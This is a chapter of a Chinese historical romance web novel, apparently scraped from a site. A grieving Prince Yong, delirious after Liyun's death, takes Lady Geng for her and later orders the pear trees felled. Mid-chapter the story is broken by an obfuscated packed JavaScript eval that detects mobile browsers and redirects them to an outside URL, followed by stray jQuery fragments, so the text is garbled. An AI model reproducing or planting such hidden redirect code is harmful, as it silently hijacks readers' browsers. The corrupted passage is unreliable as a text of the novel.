71. 痴狂
    太医本就在外面候着,听到喊声便跑了进来。一番诊看,三位太医都沉下了脸。

    四福晋一看太医的脸色心里一跳,忙问:“孙院使,王爷怎么样?”

    孙院使朝四福晋拱手道:“福晋,容我们三个商讨一番再禀。”

    四福晋愣了,到底是什么病情,竟叫院使也拿不定主意。

    三个太医商量了半天,孙院使这才又道:“四福晋,王爷这病看起来似是时疫……”

    一句时疫把众人都惊住了。

    苏培盛忍不住道:“王爷的病怎么会是时疫!”

    孙院使一时有些汗颜,朝四福晋道:“微臣不才,竟一时不能确定,只是从脉象及症状上看,像是时疫。”

    旁边的两个院判也点点头。

    时疫可不是小事,若不小心对待,就怕后果难料。

    “若真是时疫,该如何?”四福晋急道。

    “得请王爷移去人少僻静的地方养病。”时疫最厉害的便是会传染,以前宫里也有过痘疹,也就是出天花的时疫,都是要将生病的人禁足才行。

    “不过四福晋不用太过担心,如今也只是怀疑,防患于未然。”孙院使道,“若是王爷高热退下过两日便可知。”

    四福晋点点头,人少僻静的地方倒有,可以把王爷先移到园子里,就是这在身边照顾的人成了问题。自己一时脱不开身,不知别的谁能去。

    听说王爷要去园子里养病,耿格格找到了福晋,“福晋,我愿意去园子里照顾爷。”

    “好妹妹,我一时也抽不开身,正愁这个呢。”四福晋倒很满意耿氏,她心细也会照顾人。

    于是,雍亲王被移到了圆明园里养病,耿格格前去照顾,太医院里也派了专门的太医跟随诊治。

    而梨云的后事也在四福晋的张罗下,按格格的丧仪匆匆下葬了。

    可怜一对有情人,生离死别两不知。

    圆明园里,耿格格做主把王爷安置在了梨花院落。

    苏培盛怕王爷会触景生情更加难过,太医的意思却是在熟悉的地方更利于痊愈。

    王爷便在梨花院落住下了。

    过两日,四爷的高热退了下去,太医也诊断不是时疫。

    听说不是时疫众人都松了一口气。

    耿格格眼含热泪,直道:“这就好,这就好。”

    这几天一直是耿格格服侍的四爷,也不假他人之手,衣不解带昼夜不休,人都瘦了一圈。

    苏培盛看不过去,请耿格格去歇一歇,耿格格只道:“平日里也少见四爷,且叫我尽尽心。”

    倒把苏培盛说得有些不忍。

    四爷的烧退了,人却没好起来,竟一时清醒一时糊涂起来。

    清醒时也知道梨云去了,只闷闷地坐在那里,看外面的梨花。糊涂起来却时不时的要见梨云,逮着人问,梨云去了哪里,又吩咐叫人去外面折梨花回来,说梨云喜欢。

    苏培盛忍着泪劝,“爷,梨云姑娘她走了……不回来了。”

    “你胡说,她还等着和我一起看梨花呢。”完全不是平日里那个四爷。

    “爷……”苏培盛眼泪都下来了,没法再劝。

    皇帝在宫里知道了老四的情形,不免叹一声,这孩子呀,还是心太实了,那丫头一下子去了,他心里撂不下呀。

    又派了梁九功代自己去看看老四。

    梁九功奉命去了圆明园,一见四爷,就是一惊,人怎么清减了这么多。

    “四爷,万岁爷叫奴才来看看您。”梁九功哈腰赔笑道。

    “有劳谙达。”四爷含笑说一句。

    苏培盛在一旁不由一喜,爷这回清醒过来了。

    “四爷,您听奴才一句劝,梨云姑娘她去了,您得好好的。”梁九功顿一顿还是劝道,“姑娘要是知道您现在这样,也不好受……”

    “我知道。”四爷平静道。

    “还请谙达替我谢过汗阿玛,就说儿子不孝,叫他老人家担心了。等明儿再进宫给他老人家磕头。”

    梁九功满口应了。

    又闲话几句,梁九功便回宫复命去了。

    四爷吩咐苏培盛去送送梁总管。苏培盛忙应了,陪着梁九功朝外走,“梁爷呀,您这一来,四爷的病都好了。”

    梁九功不由叹一句,“四爷,也是痴人呀。”

    一句痴人,叫苏培盛也感叹了半天,可不是怎么的,四爷就是那痴人儿呀。

    送走了梁九功,苏培盛心里高兴,这回爷终于好起来了。

    哪知刚要和四爷好好说道说道,就听四爷吩咐道:“苏培盛,把那幅梨花图找出来,梨云还没画完了,今儿叫她补上。”

    哎,我的爷呀。苏培盛叹一声,应了下来。

    知道四爷找的是那天铺在案上的那未画完的画,苏培盛忙去找了出来。一面又庆幸亏得把海棠院里姑娘惯用的都带了过来,就怕四爷会找。

    四爷小心地把画展开,铺在案上,又叫苏培盛磨墨。

    一支梨云正欲盛放。

    四爷手轻抚梨花,却见花下有几处水洇的墨痕。

    不由颦眉,怎么把画弄脏了,梨云见了会不高兴的。想了想,便提笔在墨晕开处画了一只蝴蝶,展翅翩跹。

    正得意时,忽然想起梨云曾说过,黑色的蝴蝶是马文才变的,不是个好的。一时又惶恐起来,生怕梨云看了生气。

    耿格格端药走了过来,把药放下,柔声劝道:“王爷,该吃药了。”

    “梨云,你快过来看看,我画的这只蝴蝶可好?”四爷朝耿格格笑道。

    耿格格与苏培盛都是一愣,爷怎么认错人了?

    苏培盛再一看,耿格格今儿穿得衣裳确实是以前梨云爱的颜色,遂瞅了瞅耿格格。

    耿格格面色赧然,看了苏培盛一眼,转又朝四爷笑道:“您先把药喝了也不迟。”

    耿格格端起药碗送给四爷,四爷也不接碗,就着她的手把药喝了。耿格格又捧过一杯清茶,叫四爷压压药味。、

    四爷乖乖地喝了两口,拉着耿氏的手叫她过来看画。

    “梨云,我画了只黑蝴蝶,你可别嫌我……”

    “奴婢那会嫌弃王爷呢。”耿氏语音轻柔。

    四爷颦颦眉,“不是说过不称呼奴婢王爷的,你怎么又忘了。”

    啊?耿氏不知道有这一说,一时又是惊讶又是羡慕,梨云竟得王爷如此偏宠。

    “好。”耿氏低声应了,又道:“爷画得真好!”

    苏培盛在一旁看着,闭一闭眼,算了,随她去了。哄得王爷一时高兴也好,王爷他……太苦了。

    听到这样的夸赞,四爷高兴了,又要一起出去看梨花。

    耿氏为难道:“四爷,天色也不早了,您还是歇着吧。”

    “没事。今儿爷高兴。”伸手牵了耿氏过来,“爷与你秉烛夜谈。”

    耿氏羞涩道声好。

    丫鬟过来掌上了灯,苏培盛打个手势,屋里的人走了个干净。

    灯下看人,更觉美上了几分。

    四爷哈哈大笑,又想起自己送梨云的那只镯子来,“梨云,爷送你的那个镯子好看吧?我就是看了里面有朵梨花,才专门叫人做了镯子,就知道你会喜欢。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985690|131694||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    耿氏不知道什么梨花镯子的,只得胡乱应了,“好看。”

    “怎么没见你戴着?”

    牵过她的手,只见素手皓腕并没有什么镯子。

    耿氏一阵心虚,正不知如何回答,就听四爷道:“定是刚才煎药没戴着。”

    耿氏低头轻轻嗯一声。

    “梨云……”四爷叫一声梨云,“你看看我,梨云。”

    耿氏抬起头,四爷的目光没有了往日的清明,却是满目的柔情。

    自己从不曾见过的柔情呵,叫人忍不住沉醉。

    耿氏抬起双眸,看向四爷,看向这个从自己从初见便敬慕的男人。

    四爷呵,你的柔情都给了别人,从未想到,也有人在一旁这样打心眼地爱慕你呀。

    就算是错认了人,就算是假的,这柔情蜜意也叫人沉溺其中,不能自拔。

    罢,罢,罢。耿氏暗叹一声。

    “四爷。”

    一声四爷,柔媚入骨,勾人心弦。

    “梨云,我好想你……”

    四爷伸手搂住了她,闭上眼,双唇落了下来。

    先是轻柔触碰,渐至狂热,仿佛所有的想念都付诸了其中。

    梨云啊,梨云……

    烛光摇曳,点点滴滴替人垂泪。

    第二天,天色刚放亮,四爷便醒了过来。

    睁开眼,却是在梨花院落的样子,我不是在府里的,怎么到了这里?

    正疑惑间,却听身边有人问:“王爷,您醒了。”

    “你是哪个!”四爷一惊,再一看,躺在身边的却是耿氏,“你怎么在这里?”

    一句话问得耿氏面色通红,一时只觉羞愧难当。

    “奴婢这就告退!”耿氏慌忙穿好衣裳,退了下去。

    “苏培盛!”四爷大声喊一句。

    苏培盛一个激灵,小跑着进了屋内。

    一时间,记忆涌上心头,四爷身子一顿,强忍心上的痛意,沉声道:“给爷更衣!”

    “爷,您好了!”苏培盛看向四爷,一双冷眸又恢复了旧时的清明,一时又惊有喜,手脚麻利地给四爷穿上衣裳。

    四爷站在屋里,四下观望,桌案摆设还是梨云在时的样子,只可惜,她却去了……

    心中酸痛难言。

    再看案上,梨花依旧,竹梅傲雪如昨,石榴双叶却无人可寄!

    品茗图,观花赏蝶小像,历历在目,只可惜画在人却无!

    梨云啊,你叫我如何能忘!

    踉跄走出门,苏培盛跟在后面,一迭声地叫着爷。

    “我没事!”四爷双目带红,喝了一声,一眼又看到池塘水中的彩鸳鸯成双成对,指着苏培盛道:“把它们给我赶开!”

    苏培盛忙应了,又劝道:“爷,您心里难受,就……就哭出来吧。”说到最后,自己已成了哭腔。

    四爷也不理他,兀自走进了梨花树林。

    梨花正在盛时,欺霜压雪,随风招展。

    “梨云……”

    四爷再也不能忍住满心的伤悲,哭出声来。

    梨花在枝头盛放,似是在笑人痴狂。

    不知何时,四爷的手上多了根树枝,以枝为棍,只打得四周落花纷纷。

    落花片片,随风飘零。

    花落人亡两不知,可是花落了还会再开,离开的人呀如何能回来!

    此时的四爷双目通红,一身的戾气。

    梨花,梨树,离,离,离!

    心爱的人,死生分离!

    “来人,把这些梨树给爷砍了,统统砍了!”